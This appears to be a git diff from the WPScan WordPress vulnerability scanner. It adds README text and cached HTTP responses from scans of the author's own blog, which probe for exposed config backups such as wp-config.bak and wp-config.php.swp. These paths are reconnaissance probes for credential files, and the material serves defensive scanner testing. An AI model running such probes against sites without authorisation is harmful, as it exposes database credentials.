+--generate_plugin_list [number of pages] Generate a new data/plugins.txt file. (supply number of *pages* to parse, default : 150) +--gpl Alias for --generate_plugin_list + + +==WPSTOOLS EXAMPLES== + +- Generate a new 'most popular' plugin list, up to 150 pages ... +ruby wpstools.rb --generate_plugin_list 150 + + +===PROJECT HOME=== + +http://code.google.com/p/wpscan/ + +===SUBVERSION REPOSITORY=== + +svn checkout http://wpscan.googlecode.com/svn/trunk/ wpscan-read-only + +===ISSUES=== + +http://code.google.com/p/wpscan/issues/list + +===SPONSOR=== + +WPScan is sponsored by the RandomStorm Open Source Initiative. + +Visit RandomStorm at http://www.randomstorm.com diff --git a/cache/browser/35504159817dfba1706512be7e023fba2055af83 b/cache/browser/35504159817dfba1706512be7e023fba2055af83 new file mode 100644 index 00000000..bcbd9ef8 --- /dev/null +++ b/cache/browser/35504159817dfba1706512be7e023fba2055af83 @@ -0,0 +1,82 @@ +--- &id001 !ruby/object:Typhoeus::Response +app_connect_time: 3.5e-05 +body: "html,body,div,span,object,h1,h2,h3,h4,h5,h6,p,blockquote,pre,a,address,code,img,small,strong,dl,dt,dd,ol,ul,li,fieldset,form,label{margin:0;padding:0;border:0;outline:0;font-size:100%;vertical-align:baseline;background:transparent;}body{font-size:14px;font-family:helvetica,arial,sans-serif;letter-spacing:0.2px;}ol,ul{list-style:none;}h2{font-size:27px;}h3{font-size:20px;}h4 span span strong{color:black!important;}a{color:#2279A2;text-decoration:none!important;}a:hover{text-decoration:underline!important;}body{background:#242424 url(img/background.jpg) repeat;}#wrap{width:1075px;margin:auto;}#header{margin-top:40px;position:relative;}#header h1 a{background:url(img/logo.png) no-repeat;width:270px;height:37px;text-indent:-9999px;float:left;}#menu{text-align:right;display:inline-block;position:absolute;right:0;}#menu li{float:left;margin-left:20px;font-size:14px;font-family:tahoma,verdana,helvetica,arial,sans-serif;}#menu li a{color:white;text-decoration:none!important;}.current_page_item a div{background-color:#87b440!important;}#menu li a:hover .menuLine{background-color:#136287;}#menu li .menuLine{color:white;background-color:#20485a;font-size:8px;font-weight:bold;padding:1px 3px 1px 0;font-family:helvetica,arial,sans-serif;}#menu li #active{background-color:#87b440;}#main{clear:both;overflow:hidden;}#main #primary{float:left;width:700px;margin-top:60px;position:relative;}#main #primary h2{color:white;font-weight:400;margin-top:10px;margin-bottom:10px;}#main #primary #morePrev{background-color:#e3e3e3;border:1px solid white;padding:20px;}#main #primary #morePrev #more{float:right;}.topLine{height:10px;width:100%;background-color:#2279a2;}#main #sidebar{float:right;width:300px;margin-top:60px;}#main #sidebar h2{color:white;font-weight:400;margin-top:10px;margin-bottom:10px;}#main #sidebar .widget{margin-bottom:20px;}#main #sidebar .widget ul{background-color:#e3e3e3;padding:20px;border:1px solid white;font-size:12px;}#main #primary .post-item{background:#e3e3e3;margin-bottom:38px;border:1px solid white;overflow:hidden;position:relative;padding:20px;}#main #primary .post-item h2{color:#2c2c2c;margin:0;line-height:1em;}.the-title{font-size:27px;text-align:center;}.post-item img{border:none;}.post-item p.meta{font-size:10px;}.post-item p.comments{position:absolute;bottom:10px;right:10px;}.post-item p{font-size:14px;line-height:20px;margin:20px 0 20px 0;}.post-item blockquote{color:#575757;font-style:italic;}.post-item code{background-color:#000000;border:1px solid #000000;border-radius:6px 6px 6px 6px;color:#D8D8D8;padding:10px;text-shadow:none;}.post-item ul{list-style:circle;}.topLine{height:10px;width:100%;background-color:#2279a2;}#sidebar #search{margin-left:50px;margin-right:0;height:40px;background-color:#e3e3e3;position:relative;border-radius:5px;-moz-border-radius:5px;-webkit-border-radius:5px;margin-bottom:30px!important;}#sidebar #search #searchSubmit{background-image:url('img/searchIcon.png');width:29px;height:23px;background-repeat:no-repeat;position:absolute;right:10px;top:8px;}#sidebar #search input{position:relative;font-size:16px;color:#2c2c2c;padding:10px;border:none;background:none;width:190px;}.widget_twitter .widgettitle{background-image:url('img/twitter.png');background-position:right;background-repeat:no-repeat;}.widgettitle a{text-decoration:none;color:white;}.widget_twitter li{padding:5px 0 5px 0;border-bottom:1px solid #666;border-top:1px solid #eee;}.widget_twitter li:first-child{padding-top:0;border-top:none;}.widget_twitter li:last-child{padding-bottom:0;border-bottom:none;}#recentcomments .widgettitle{background-image:url('img/twitter.png');background-position:right;background-repeat:no-repeat;}#recentcomments li{padding:5px 0 5px 0;border-bottom:1px solid #666;border-top:1px solid #eee;}#recentcomments li:first-child{padding-top:0;border-top:none;}#recentcomments li:last-child{padding-bottom:0;border-bottom:none;}#comments{color:white;margin-bottom:2px;}.comments li{background:#e3e3e3;margin-bottom:1px;border:1px solid white;overflow:hidden;position:relative;padding:10px;}.comments p{margin-bottom:15px;font-size:16px;}#main_comment p{margin-bottom:2px;}#comment-datetime{font-size:10px;}#respond{background:#e3e3e3;margin-top:20px;margin-bottom:28px;border:1px solid white;overflow:hidden;position:relative;padding:20px;}#respond label{width:4em;float:left;text-align:left;margin-right:0.5em;display:block}#respond h3{padding:2px;}#respond p{padding:2px;}#comment-ads{margin-bottom:10px;}#footer{height:100px;}#copyright{color:#FFFFFF;font-size:12px;}" +code: 200 +connect_time: 3.5e-05 +curl_error_message: No error +curl_return_code: 0 +effective_url: http://www.ethicalhack3r.co.uk/wp-content/themes/ethicalhack3r/style.css +headers: | + HTTP/1.1 200 OK + Server: cloudflare-nginx + Date: Mon, 09 Jul 2012 08:15:24 GMT + Content-Type: text/css + Transfer-Encoding: chunked + Connection: keep-alive + Last-Modified: Fri, 17 Feb 2012 19:44:20 GMT + ETag: "a425-1af4-4b92e2bb8ad00" + Vary: Accept-Encoding + CF-Cache-Status: HIT + Expires: Mon, 09 Jul 2012 12:15:24 GMT + Cache-Control: public, max-age=14400 + Set-Cookie: __cfduid=d18c182188e4fd72679bb9e502aadb1681341821724; expires=Mon, 23-Dec-2019 23:50:00 GMT; path=/; domain=.co.uk + Set-Cookie: __cfduid=d18c182188e4fd72679bb9e502aadb1681341821724; expires=Mon, 23-Dec-2019 23:50:00 GMT; path=/; domain=.ethicalhack3r.co.uk + Set-Cookie: __cfduid=d18c182188e4fd72679bb9e502aadb1681341821724; expires=Mon, 23-Dec-2019 23:50:00 GMT; path=/; domain=.www.ethicalhack3r.co.uk + + +http_version: +mock: false +name_lookup_time: 3.5e-05 +pretransfer_time: 3.4e-05 +request: !ruby/object:Typhoeus::Request + after_complete: + auth_method: + body: + cache_timeout: 600 + connect_timeout: + disable_ssl_peer_verification: true + follow_location: + handled_response: + headers: + user-agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.6; rv:9.0) Gecko/20100101 Firefox/9.0 + User-Agent: Typhoeus - http://github.com/pauldix/typhoeus/tree/master + max_redirects: + method: :get + on_complete: + params: + parsed_uri: !ruby/object:URI::HTTP + fragment: + host: www.ethicalhack3r.co.uk + opaque: + password: + path: /wp-content/themes/ethicalhack3r/style.css + port: 80 + query: + registry: + scheme: http + user: + password: + proxy: + proxy_auth_method: + proxy_password: + proxy_type: + proxy_username: + response: *id001 + ssl_cacert: + ssl_capath: + ssl_cert: + ssl_cert_type: + ssl_key: + ssl_key_password: + ssl_key_type: + timeout: + url: http://www.ethicalhack3r.co.uk/wp-content/themes/ethicalhack3r/style.css + user_agent: Typhoeus - http://github.com/pauldix/typhoeus/tree/master + username: + verbose: +requested_http_method: +requested_url: +start_time: +start_transfer_time: 0.101189 +status_message: +time: 0.116178 diff --git a/cache/browser/4348a4737f0b95fffd545b87f52a004241bddc30 b/cache/browser/4348a4737f0b95fffd545b87f52a004241bddc30 new file mode 100644 index 00000000..4d92d4a4 --- /dev/null +++ b/cache/browser/4348a4737f0b95fffd545b87f52a004241bddc30 @@ -0,0 +1,77 @@ +--- &id001 !ruby/object:Typhoeus::Response +app_connect_time: 2.6e-05 +body: "" +code: 500 +connect_time: 2.6e-05 +curl_error_message: No error +curl_return_code: 0 +effective_url: http://www.ethicalhack3r.co.uk/wp-includes/rss-functions.php +headers: | + HTTP/1.1 500 Internal Server Error + Server: cloudflare-nginx + Date: Mon, 09 Jul 2012 08:15:25 GMT + Content-Type: text/html + Transfer-Encoding: chunked + Connection: keep-alive + Vary: Accept-Encoding + Set-Cookie: __cfduid=d18c182188e4fd72679bb9e502aadb1681341821724; expires=Mon, 23-Dec-2019 23:50:00 GMT; path=/; domain=.co.uk + Set-Cookie: __cfduid=d18c182188e4fd72679bb9e502aadb1681341821724; expires=Mon, 23-Dec-2019 23:50:00 GMT; path=/; domain=.ethicalhack3r.co.uk + Set-Cookie: __cfduid=d18c182188e4fd72679bb9e502aadb1681341821724; expires=Mon, 23-Dec-2019 23:50:00 GMT; path=/; domain=.www.ethicalhack3r.co.uk + + +http_version: +mock: false +name_lookup_time: 2.6e-05 +pretransfer_time: 2.5e-05 +request: !ruby/object:Typhoeus::Request + after_complete: + auth_method: + body: + cache_timeout: 600 + connect_timeout: + disable_ssl_peer_verification: true + follow_location: + handled_response: + headers: + user-agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.6; rv:9.0) Gecko/20100101 Firefox/9.0 + User-Agent: Typhoeus - http://github.com/pauldix/typhoeus/tree/master + max_redirects: + method: :get + on_complete: + params: + parsed_uri: !ruby/object:URI::HTTP + fragment: + host: www.ethicalhack3r.co.uk + opaque: + password: + path: /wp-includes/rss-functions.php + port: 80 + query: + registry: + scheme: http + user: + password: + proxy: + proxy_auth_method: + proxy_password: + proxy_type: + proxy_username: + response: *id001 + ssl_cacert: + ssl_capath: + ssl_cert: + ssl_cert_type: + ssl_key: + ssl_key_password: + ssl_key_type: + timeout: + url: http://www.ethicalhack3r.co.uk/wp-includes/rss-functions.php + user_agent: Typhoeus - http://github.com/pauldix/typhoeus/tree/master + username: + verbose: +requested_http_method: +requested_url: +start_time: +start_transfer_time: 0.112819 +status_message: +time: 0.11291 diff --git a/cache/browser/5f78f7b0115fd211a249722e8606cad9a884be7f b/cache/browser/5f78f7b0115fd211a249722e8606cad9a884be7f new file mode 100644 index 00000000..aa8a1134 --- /dev/null +++ b/cache/browser/5f78f7b0115fd211a249722e8606cad9a884be7f @@ -0,0 +1,310 @@ +--- &id001 !ruby/object:Typhoeus::Response +app_connect_time: 3.0e-05 +body: "\n\ + \n\ + \n\ + \n\ + \n\ + \n\ + Nothing found for Wp-config Php Swp\n\ + \n\ + \n\ + \n\ + \n\ + \n\ + \n\ + \n\ + \n \n \n\ + \n\ + \n\ + \n\ + \n\ + \n\ +
\n\ +
\n\ +
\n\ +
\n\ +

ethicalhack3r

\n\ + \n\ +
\n\ +
\n \n\ +
\n\ +
\n\ +
\n\ +
\n\ +

Recent

\n\ +
\n\ +

DevBug – PHP Static Code Analysis

\n\ +

My final year university dissertation was on the topic of Static Code Analysis, specifically the integration of IDEs (Integrated Development Environments) with Static Code Analysis. The idea was to make Static Code Analysis accesible to the developer, without them having to install and use additional specialist Static Code Analysis software.

\n\ +

Due to my familiarity with PHP and its lack of interpreter taint analysis I decided that I would write a PHP Static Code Analysis application. The PHP Static Code Analysis tool I developed is called DevBug, it is an online PHP Static Code Analysis tool written mostly in JavaScript (jQuery). The Static Code Analysis engine uses the sources, securing functions and sinks data from the awesome RIPS Static Code Analysis tool to identify specific PHP functions that can cause or remediate user input caused vulnerabilities. DevBug uses Taint Analysis to identify tainted variables, follows the tainted variables through the code, untaints the variables if they are secured and finally detects whether or not tainted variables end up in in sensitive sinks.

\n\ +

The IDE used is called CodeMirror that provides a code editing area, syntax highlighting, line numbering and an API. CodeMirror was slightly modified to detect deprecated PHP functions and highlight them.

\n\ +

read more…

\n\ +

\n\ + Posted on 20 May, 2012 by ethicalhack3r

\n\ +

\n\ + 4 Comments\n\ +

\n\ +
\n \n\ +
\n\ +

Old School hacking

\n\ +

Back in the late nineties, around 1999, my mother bought me my first computer. Around this time The Matrix movie was released which as a young boy with a new computer had me Yahoo’ing (Google was largely unknown) for the term ‘hacking’. Back then Yahoo! Chat was still around and had a chat room called the ‘Hackers Lounge’, everyone in there was talking about all sorts of cool things you could do with computers that I had never heard of before. With hindsight, most of the people in the chat room were script kiddies who knew how to run a few Windows GUI ‘hacking’ tools and largely acting like they were the kings of the Internet. At the time I wanted to learn about all of the cool things they knew. I started downloading and learning how to use these ‘hacking’ tools by the use of my guinea pig friends and family (my siblings soon grew tired of me remotely opening and closing their CD-ROM drives).

\n\ +

Some of these tools are still actively developed and used today, invaluable to conducting modern Penetration Testing and security audits. For the sake of nostalgia, I present to you some of the coolest most 1337 ‘hacking’ tools that I and others used ‘back in the day’. Warning: Download links not verified.

\n\ +

Legion by Rhino9

\n\ +

Use: Windows Null Session share scanner.
\n\ + Released: 1999
\n\ + Platform: Windows
\n\ + Further Info: http://www.informit.com/articles/article.aspx?p=26263&seqNum=5
\n\ + Download: http://packetstormsecurity.org/files/14711/legion.zip.html

\n\ +

\"Legion

\n\ +

read more…

\n\ +

\n\ + Posted on 9 May, 2012 by ethicalhack3r

\n\ +

\n\ + 10 Comments\n\ +

\n\ +
\n \n\ +
\n\ +

X-Frame-Options

\n\ +

A colleague tweeted a link to a blog post by WhiteHat Security about the X-Frame-Options HTTP header. I had heard of X-Frame-Options before and knew what it did but didn’t really know how it was used so I decided to investigate further.

\n\ +

X-Frame-Options is a HTTP response header that tells the browser what pages are allowed to be loaded in <frame> or <iframe> HTML tags. The header is an extra layer of security that a web application can implement to attempt to mitigate clickjacking (UI redressing).

\n\ +

The X-Frame-Options header may have three different values:

\n\ +

DENY – No pages are allowed to be loaded.
\n\ + SAMEORIGIN – Only pages from the same domain are allowed to be loaded.
\n\ + Allow-From http://www.example.com – Only allow frames from www.example.com.

\n\ +

read more…

\n\ +

\n\ + Posted on 7 April, 2012 by ethicalhack3r

\n\ +

\n\ + 5 Comments\n\ +

\n\ +
\n \n\ +
\n\ +

Wireless Man In The Middle (MITM)

\n\ +

This is a recent piece I did for the BBC Inside Out program that originally aired on February 6th. In the video I demonstrate a wireless Main In The Middle (MITM) attack in a coffee shop using a FON+ wireless router, Karma and Jasager. Oh, and they’re the ones who call me an ‘expert’, personally, I hate the term and would never call myself one.

\n\ +

\n\ +

\n\ + Posted on 13 February, 2012 by ethicalhack3r

\n\ +

\n\ + 6 Comments\n\ +

\n\ +
\n \n\ +
\n\ +

Prevention of unwanted telemarketing calls

\n\ +

I am tired of receiving multiple telemarketing calls per day, I’m tired of the Telephone Preference Service (TPS) not having an affect and I’m tired of telecommunication companies charging for prevention features which should be free.

\n\ +

I came across an e-petition that was setup by a Rob Whitelock, it is not perfect in its recommendations but certainly puts the general point across.

\n\ +

e-petitions is an easy way for you to influence government policy in the UK. You can create an e-petition about anything that the government is responsible for and if it gets at least 100,000 signatures, it will be eligible for debate in the House of Commons.

\n\ +

You can help by signing the petition here;
\n\ + http://epetitions.direct.gov.uk/petitions/17324

\n\ +

\n\ + Posted on 20 January, 2012 by ethicalhack3r

\n\ +

\n\ + No Comments\n\ +

\n\ +
\n \n\ +
\n\ + \n\ + Next Page »\n\ +
\n\ +
\n\ +
\n \n\ + \n
\n\ +
\n\ +
\n\ +
Copyright © 2008-2012 Ryan Dewhurst
\n\ +
\n \n\ +
\n \n\ + \n\ + " +code: 404 +connect_time: 3.0e-05 +curl_error_message: No error +curl_return_code: 0 +effective_url: http://www.ethicalhack3r.co.uk/wp-config.php.swp +headers: | + HTTP/1.1 404 Not Found + Server: cloudflare-nginx + Date: Mon, 09 Jul 2012 08:15:32 GMT + Content-Type: text/html; charset=UTF-8 + Transfer-Encoding: chunked + Connection: keep-alive + Set-Cookie: session=s0575rmg11ak75rglmjuf3uj7ma9blf4; path=/; HttpOnly + Expires: Wed, 11 Jan 1984 05:00:00 GMT + Cache-Control: no-cache, must-revalidate, max-age=0 + Pragma: no-cache + X-Pingback: http://www.ethicalhack3r.co.uk/xmlrpc.php + Last-Modified: Mon, 09 Jul 2012 08:15:32 GMT + Vary: Accept-Encoding + Set-Cookie: __cfduid=d649076e121afd4eeb1a938d6c91caefb1341821731; expires=Mon, 23-Dec-2019 23:50:00 GMT; path=/; domain=.co.uk + Set-Cookie: __cfduid=d649076e121afd4eeb1a938d6c91caefb1341821731; expires=Mon, 23-Dec-2019 23:50:00 GMT; path=/; domain=.ethicalhack3r.co.uk + Set-Cookie: __cfduid=d649076e121afd4eeb1a938d6c91caefb1341821731; expires=Mon, 23-Dec-2019 23:50:00 GMT; path=/; domain=.www.ethicalhack3r.co.uk + + +http_version: +mock: false +name_lookup_time: 2.9e-05 +pretransfer_time: 2.8e-05 +request: !ruby/object:Typhoeus::Request + after_complete: + auth_method: + body: + cache_timeout: 600 + connect_timeout: + disable_ssl_peer_verification: true + follow_location: + handled_response: + headers: + user-agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.6; rv:9.0) Gecko/20100101 Firefox/9.0 + User-Agent: Typhoeus - http://github.com/pauldix/typhoeus/tree/master + max_redirects: + method: :get + on_complete: !ruby/object:Proc {} + + params: + parsed_uri: !ruby/object:URI::HTTP + fragment: + host: www.ethicalhack3r.co.uk + opaque: + password: + path: /wp-config.php.swp + port: 80 + query: + registry: + scheme: http + user: + password: + proxy: + proxy_auth_method: + proxy_password: + proxy_type: + proxy_username: + response: *id001 + ssl_cacert: + ssl_capath: + ssl_cert: + ssl_cert_type: + ssl_key: + ssl_key_password: + ssl_key_type: + timeout: + url: http://www.ethicalhack3r.co.uk/wp-config.php.swp + user_agent: Typhoeus - http://github.com/pauldix/typhoeus/tree/master + username: + verbose: +requested_http_method: +requested_url: +start_time: +start_transfer_time: 0.737602 +status_message: +time: 0.834884 diff --git a/cache/browser/74f38439d29d49d87ef6e32899a38fd783cc5054 b/cache/browser/74f38439d29d49d87ef6e32899a38fd783cc5054 new file mode 100644 index 00000000..e05a6b0f --- /dev/null +++ b/cache/browser/74f38439d29d49d87ef6e32899a38fd783cc5054 @@ -0,0 +1,310 @@ +--- &id001 !ruby/object:Typhoeus::Response +app_connect_time: 3.1e-05 +body: "\n\ + \n\ + \n\ + \n\ + \n\ + \n\ + Nothing found for Wp-config Bak\n\ + \n\ + \n\ + \n\ + \n\ + \n\ + \n\ + \n\ + \n \n \n\ + \n\ + \n\ + \n\ + \n\ + \n\ +
\n\ +
\n\ +
\n\ +
\n\ +

ethicalhack3r

\n\ + \n\ +
\n\ +
\n \n\ +
\n\ +
\n\ +
\n\ +
\n\ +

Recent

\n\ +
\n\ +

DevBug – PHP Static Code Analysis

\n\ +

My final year university dissertation was on the topic of Static Code Analysis, specifically the integration of IDEs (Integrated Development Environments) with Static Code Analysis. The idea was to make Static Code Analysis accesible to the developer, without them having to install and use additional specialist Static Code Analysis software.

\n\ +

Due to my familiarity with PHP and its lack of interpreter taint analysis I decided that I would write a PHP Static Code Analysis application. The PHP Static Code Analysis tool I developed is called DevBug, it is an online PHP Static Code Analysis tool written mostly in JavaScript (jQuery). The Static Code Analysis engine uses the sources, securing functions and sinks data from the awesome RIPS Static Code Analysis tool to identify specific PHP functions that can cause or remediate user input caused vulnerabilities. DevBug uses Taint Analysis to identify tainted variables, follows the tainted variables through the code, untaints the variables if they are secured and finally detects whether or not tainted variables end up in in sensitive sinks.

\n\ +

The IDE used is called CodeMirror that provides a code editing area, syntax highlighting, line numbering and an API. CodeMirror was slightly modified to detect deprecated PHP functions and highlight them.

\n\ +

read more…

\n\ +

\n\ + Posted on 20 May, 2012 by ethicalhack3r

\n\ +

\n\ + 4 Comments\n\ +

\n\ +
\n \n\ +
\n\ +

Old School hacking

\n\ +

Back in the late nineties, around 1999, my mother bought me my first computer. Around this time The Matrix movie was released which as a young boy with a new computer had me Yahoo’ing (Google was largely unknown) for the term ‘hacking’. Back then Yahoo! Chat was still around and had a chat room called the ‘Hackers Lounge’, everyone in there was talking about all sorts of cool things you could do with computers that I had never heard of before. With hindsight, most of the people in the chat room were script kiddies who knew how to run a few Windows GUI ‘hacking’ tools and largely acting like they were the kings of the Internet. At the time I wanted to learn about all of the cool things they knew. I started downloading and learning how to use these ‘hacking’ tools by the use of my guinea pig friends and family (my siblings soon grew tired of me remotely opening and closing their CD-ROM drives).

\n\ +

Some of these tools are still actively developed and used today, invaluable to conducting modern Penetration Testing and security audits. For the sake of nostalgia, I present to you some of the coolest most 1337 ‘hacking’ tools that I and others used ‘back in the day’. Warning: Download links not verified.

\n\ +

Legion by Rhino9

\n\ +

Use: Windows Null Session share scanner.
\n\ + Released: 1999
\n\ + Platform: Windows
\n\ + Further Info: http://www.informit.com/articles/article.aspx?p=26263&seqNum=5
\n\ + Download: http://packetstormsecurity.org/files/14711/legion.zip.html

\n\ +

\"Legion

\n\ +

read more…

\n\ +

\n\ + Posted on 9 May, 2012 by ethicalhack3r

\n\ +

\n\ + 10 Comments\n\ +

\n\ +
\n \n\ +
\n\ +

X-Frame-Options

\n\ +

A colleague tweeted a link to a blog post by WhiteHat Security about the X-Frame-Options HTTP header. I had heard of X-Frame-Options before and knew what it did but didn’t really know how it was used so I decided to investigate further.

\n\ +

X-Frame-Options is a HTTP response header that tells the browser what pages are allowed to be loaded in <frame> or <iframe> HTML tags. The header is an extra layer of security that a web application can implement to attempt to mitigate clickjacking (UI redressing).

\n\ +

The X-Frame-Options header may have three different values:

\n\ +

DENY – No pages are allowed to be loaded.
\n\ + SAMEORIGIN – Only pages from the same domain are allowed to be loaded.
\n\ + Allow-From http://www.example.com – Only allow frames from www.example.com.

\n\ +

read more…

\n\ +

\n\ + Posted on 7 April, 2012 by ethicalhack3r

\n\ +

\n\ + 5 Comments\n\ +

\n\ +
\n \n\ +
\n\ +

Wireless Man In The Middle (MITM)

\n\ +

This is a recent piece I did for the BBC Inside Out program that originally aired on February 6th. In the video I demonstrate a wireless Main In The Middle (MITM) attack in a coffee shop using a FON+ wireless router, Karma and Jasager. Oh, and they’re the ones who call me an ‘expert’, personally, I hate the term and would never call myself one.

\n\ +

\n\ +

\n\ + Posted on 13 February, 2012 by ethicalhack3r

\n\ +

\n\ + 6 Comments\n\ +

\n\ +
\n \n\ +
\n\ +

Prevention of unwanted telemarketing calls

\n\ +

I am tired of receiving multiple telemarketing calls per day, I’m tired of the Telephone Preference Service (TPS) not having an affect and I’m tired of telecommunication companies charging for prevention features which should be free.

\n\ +

I came across an e-petition that was setup by a Rob Whitelock, it is not perfect in its recommendations but certainly puts the general point across.

\n\ +

e-petitions is an easy way for you to influence government policy in the UK. You can create an e-petition about anything that the government is responsible for and if it gets at least 100,000 signatures, it will be eligible for debate in the House of Commons.

\n\ +

You can help by signing the petition here;
\n\ + http://epetitions.direct.gov.uk/petitions/17324

\n\ +

\n\ + Posted on 20 January, 2012 by ethicalhack3r

\n\ +

\n\ + No Comments\n\ +

\n\ +
\n \n\ +
\n\ + \n\ + Next Page »\n\ +
\n\ +
\n\ +
\n \n\ + \n
\n\ +
\n\ +
\n\ +
Copyright © 2008-2012 Ryan Dewhurst
\n\ +
\n \n\ +
\n \n\ + \n\ + " +code: 404 +connect_time: 3.1e-05 +curl_error_message: No error +curl_return_code: 0 +effective_url: http://www.ethicalhack3r.co.uk/wp-config.bak +headers: | + HTTP/1.1 404 Not Found + Server: cloudflare-nginx + Date: Mon, 09 Jul 2012 08:15:28 GMT + Content-Type: text/html; charset=UTF-8 + Transfer-Encoding: chunked + Connection: keep-alive + Set-Cookie: session=itg2lgoc4d364pol3v4p1vcshs73ji7d; path=/; HttpOnly + Expires: Wed, 11 Jan 1984 05:00:00 GMT + Cache-Control: no-cache, must-revalidate, max-age=0 + Pragma: no-cache + X-Pingback: http://www.ethicalhack3r.co.uk/xmlrpc.php + Last-Modified: Mon, 09 Jul 2012 08:15:28 GMT + Vary: Accept-Encoding + Set-Cookie: __cfduid=d393c5131f93166cbf45af7805bf6f4ec1341821727; expires=Mon, 23-Dec-2019 23:50:00 GMT; path=/; domain=.co.uk + Set-Cookie: __cfduid=d393c5131f93166cbf45af7805bf6f4ec1341821727; expires=Mon, 23-Dec-2019 23:50:00 GMT; path=/; domain=.ethicalhack3r.co.uk + Set-Cookie: __cfduid=d393c5131f93166cbf45af7805bf6f4ec1341821727; expires=Mon, 23-Dec-2019 23:50:00 GMT; path=/; domain=.www.ethicalhack3r.co.uk + + +http_version: +mock: false +name_lookup_time: 3.1e-05 +pretransfer_time: 2.9e-05 +request: !ruby/object:Typhoeus::Request + after_complete: + auth_method: + body: + cache_timeout: 600 + connect_timeout: + disable_ssl_peer_verification: true + follow_location: + handled_response: + headers: + user-agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.6; rv:9.0) Gecko/20100101 Firefox/9.0 + User-Agent: Typhoeus - http://github.com/pauldix/typhoeus/tree/master + max_redirects: + method: :get + on_complete: !ruby/object:Proc {} + + params: + parsed_uri: !ruby/object:URI::HTTP + fragment: + host: www.ethicalhack3r.co.uk + opaque: + password: + path: /wp-config.bak + port: 80 + query: + registry: + scheme: http + user: + password: + proxy: + proxy_auth_method: + proxy_password: + proxy_type: + proxy_username: + response: *id001 + ssl_cacert: + ssl_capath: + ssl_cert: + ssl_cert_type: + ssl_key: + ssl_key_password: + ssl_key_type: + timeout: + url: http://www.ethicalhack3r.co.uk/wp-config.bak + user_agent: Typhoeus - http://github.com/pauldix/typhoeus/tree/master + username: + verbose: +requested_http_method: +requested_url: +start_time: +start_transfer_time: 0.766856 +status_message: +time: 0.857543 diff --git a/cache/browser/939fd7bc272632ee56c37fb24f8994b29c6bbd47 b/cache/browser/939fd7bc272632ee56c37fb24f8994b29c6bbd47 new file mode 100644 index 00000000..99826ba2 --- /dev/null +++ b/cache/browser/939fd7bc272632ee56c37fb24f8994b29c6bbd47 @@ -0,0 +1,310 @@ +--- &id001 !ruby/object:Typhoeus::Response +app_connect_time: 2.7e-05 +body: "\n\ + \n\ + \n\ + \n\ + \n\ + \n\ + Nothing found for Wp-config Php Swo\n\ + \n\ + \n\ + \n\ + \n\ + \n\ + \n\ + \n\ + \n \n \n\ + \n\ + \n\ + \n\ + \n\ + \n\ +
\n\ +
\n\ +
\n\ +
\n\ +

ethicalhack3r

\n\ + \n\ +
\n\ +
\n \n\ +
\n\ +
\n\ +
\n\ +
\n\ +

Recent

\n\ +
\n\ +

DevBug – PHP Static Code Analysis

\n\ +

My final year university dissertation was on the topic of Static Code Analysis, specifically the integration of IDEs (Integrated Development Environments) with Static Code Analysis. The idea was to make Static Code Analysis accesible to the developer, without them having to install and use additional specialist Static Code Analysis software.

\n\ +

Due to my familiarity with PHP and its lack of interpreter taint analysis I decided that I would write a PHP Static Code Analysis application. The PHP Static Code Analysis tool I developed is called DevBug, it is an online PHP Static Code Analysis tool written mostly in JavaScript (jQuery). The Static Code Analysis engine uses the sources, securing functions and sinks data from the awesome RIPS Static Code Analysis tool to identify specific PHP functions that can cause or remediate user input caused vulnerabilities. DevBug uses Taint Analysis to identify tainted variables, follows the tainted variables through the code, untaints the variables if they are secured and finally detects whether or not tainted variables end up in in sensitive sinks.

\n\ +

The IDE used is called CodeMirror that provides a code editing area, syntax highlighting, line numbering and an API. CodeMirror was slightly modified to detect deprecated PHP functions and highlight them.

\n\ +

read more…

\n\ +

\n\ + Posted on 20 May, 2012 by ethicalhack3r

\n\ +

\n\ + 4 Comments\n\ +

\n\ +
\n \n\ +
\n\ +

Old School hacking

\n\ +

Back in the late nineties, around 1999, my mother bought me my first computer. Around this time The Matrix movie was released which as a young boy with a new computer had me Yahoo’ing (Google was largely unknown) for the term ‘hacking’. Back then Yahoo! Chat was still around and had a chat room called the ‘Hackers Lounge’, everyone in there was talking about all sorts of cool things you could do with computers that I had never heard of before. With hindsight, most of the people in the chat room were script kiddies who knew how to run a few Windows GUI ‘hacking’ tools and largely acting like they were the kings of the Internet. At the time I wanted to learn about all of the cool things they knew. I started downloading and learning how to use these ‘hacking’ tools by the use of my guinea pig friends and family (my siblings soon grew tired of me remotely opening and closing their CD-ROM drives).

\n\ +

Some of these tools are still actively developed and used today, invaluable to conducting modern Penetration Testing and security audits. For the sake of nostalgia, I present to you some of the coolest most 1337 ‘hacking’ tools that I and others used ‘back in the day’. Warning: Download links not verified.

\n\ +

Legion by Rhino9

\n\ +

Use: Windows Null Session share scanner.
\n\ + Released: 1999
\n\ + Platform: Windows
\n\ + Further Info: http://www.informit.com/articles/article.aspx?p=26263&seqNum=5
\n\ + Download: http://packetstormsecurity.org/files/14711/legion.zip.html

\n\ +

\"Legion

\n\ +

read more…

\n\ +

\n\ + Posted on 9 May, 2012 by ethicalhack3r

\n\ +

\n\ + 10 Comments\n\ +

\n\ +
\n \n\ +
\n\ +

X-Frame-Options

\n\ +

A colleague tweeted a link to a blog post by WhiteHat Security about the X-Frame-Options HTTP header. I had heard of X-Frame-Options before and knew what it did but didn’t really know how it was used so I decided to investigate further.

\n\ +

X-Frame-Options is a HTTP response header that tells the browser what pages are allowed to be loaded in <frame> or <iframe> HTML tags. The header is an extra layer of security that a web application can implement to attempt to mitigate clickjacking (UI redressing).

\n\ +

The X-Frame-Options header may have three different values:

\n\ +

DENY – No pages are allowed to be loaded.
\n\ + SAMEORIGIN – Only pages from the same domain are allowed to be loaded.
\n\ + Allow-From http://www.example.com – Only allow frames from www.example.com.

\n\ +

read more…

\n\ +

\n\ + Posted on 7 April, 2012 by ethicalhack3r

\n\ +

\n\ + 5 Comments\n\ +

\n\ +
\n \n\ +
\n\ +

Wireless Man In The Middle (MITM)

\n\ +

This is a recent piece I did for the BBC Inside Out program that originally aired on February 6th. In the video I demonstrate a wireless Main In The Middle (MITM) attack in a coffee shop using a FON+ wireless router, Karma and Jasager. Oh, and they’re the ones who call me an ‘expert’, personally, I hate the term and would never call myself one.

\n\ +

\n\ +

\n\ + Posted on 13 February, 2012 by ethicalhack3r

\n\ +

\n\ + 6 Comments\n\ +

\n\ +
\n \n\ +
\n\ +

Prevention of unwanted telemarketing calls

\n\ +

